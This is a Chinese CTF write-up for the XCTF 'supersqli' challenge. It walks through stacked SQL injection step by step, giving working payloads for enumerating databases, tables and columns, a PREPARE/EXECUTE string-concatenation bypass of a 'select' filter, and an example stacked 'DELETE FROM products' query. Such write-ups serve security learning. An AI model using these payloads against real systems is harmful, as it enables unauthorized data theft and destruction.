攻防世界supersqli-强网杯随便注(堆叠注入顶级练手题目)

文章目录

  • XCTF - supersqli
    • 本题知识点
    • 尝试闭合
    • 查列
    • 联合注入尝试
    • 堆叠注入
      • 堆叠注入原理
      • 查询数据库
      • 查表
    • 查内容
      • 预处理绕过

XCTF - supersqli

攻防世界supersqli-强网杯随便注(堆叠注入顶级练手题目)_第1张图片

本题知识点

  • sql注入
  • 堆叠注入
    攻防世界supersqli-强网杯随便注(堆叠注入顶级练手题目)_第2张图片
    攻防世界supersqli-强网杯随便注(堆叠注入顶级练手题目)_第3张图片

尝试闭合

直接在输入框中尝试闭合。发现是get型变量。
攻防世界supersqli-强网杯随便注(堆叠注入顶级练手题目)_第4张图片
通过分析''1''',单引号直接闭合。
攻防世界supersqli-强网杯随便注(堆叠注入顶级练手题目)_第5张图片

查列

接下来直接查看列
攻防世界supersqli-强网杯随便注(堆叠注入顶级练手题目)_第6张图片
攻防世界supersqli-强网杯随便注(堆叠注入顶级练手题目)_第7张图片
通过order by发现有两列,直接尝试进行联合注入。

联合注入尝试

-1' and union select 1,2%23
攻防世界supersqli-强网杯随便注(堆叠注入顶级练手题目)_第8张图片
尝试联合注入,发现select关键词被过滤了,此时我们想到两种绕过方法,大小写和双写绕过。两个都尝试过后发现仍然无法绕过。此时确实没有其他办法了。
攻防世界supersqli-强网杯随便注(堆叠注入顶级练手题目)_第9张图片

堆叠注入

尝试了多次后,没有思路,查了查资料,竟然是堆叠注入,其实堆叠注入之前是接触过的,但是一时还真想不起来,我们先来看一下堆叠注入。

  • Rename,PREPARE,set等函数均未被过滤,考虑是堆叠注入。

堆叠注入原理

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在分号(;)结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。
用户输入:1; DELETE FROM products
服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products
当执行查询后,第一条显示查询信息,第二条则将整个表进行删除
需要注意的是,堆叠注入必须是mysql开启pdo模式时才能使用。

查询数据库

知道了是堆叠注入,还是注意事项,分号中间的必须是mysql语句。我们直接查库:
-1' ;show databases;%23
攻防世界supersqli-强网杯随便注(堆叠注入顶级练手题目)_第10张图片

查表

-1' ;use supersqli;show tables;%23

攻防世界supersqli-强网杯随便注(堆叠注入顶级练手题目)_第11张图片
supersqli数据库中发现一个可疑表1919810931114514

查内容

其实到这里,我们直接执行如下payload就可以获取表内容了。-1' ;use supersqli;select * from 1919810931114514;%23,但是select被过滤了,只能绕过。
我们首先查看下字段

-1' ;use supersqli;show columns from `1919810931114514`;%23

在上面的payload中,在linux中是不区分``和’'的区别的,但是在windows中区分,这里可以发现,payload:-1'; show columns from 1919810931114514; # 是没有回显的。
这里来说明一下原因:在mysql中查询纯数字和关键字的列名、表名时必须加

纯数字也是同理,show columns from 1919810931114514也是不会出结果的。这里也提示大家做列名和表名的时候不能用mysql中的关键字。

预处理绕过

语法:定义预处理:
PREPARE 定义的名字 from 要定义的语句执行;EXECUTE 定义的名字 payload

-1';PREPARE chaxun_flag from concat('s','elect',' * from `1919810931114514`');EXECUTE chaxun_flag; %23

攻防世界supersqli-强网杯随便注(堆叠注入顶级练手题目)_第12张图片

你可能感兴趣的:(WEB刷题记录,sql注入,攻防世界,sql,web安全,网络安全)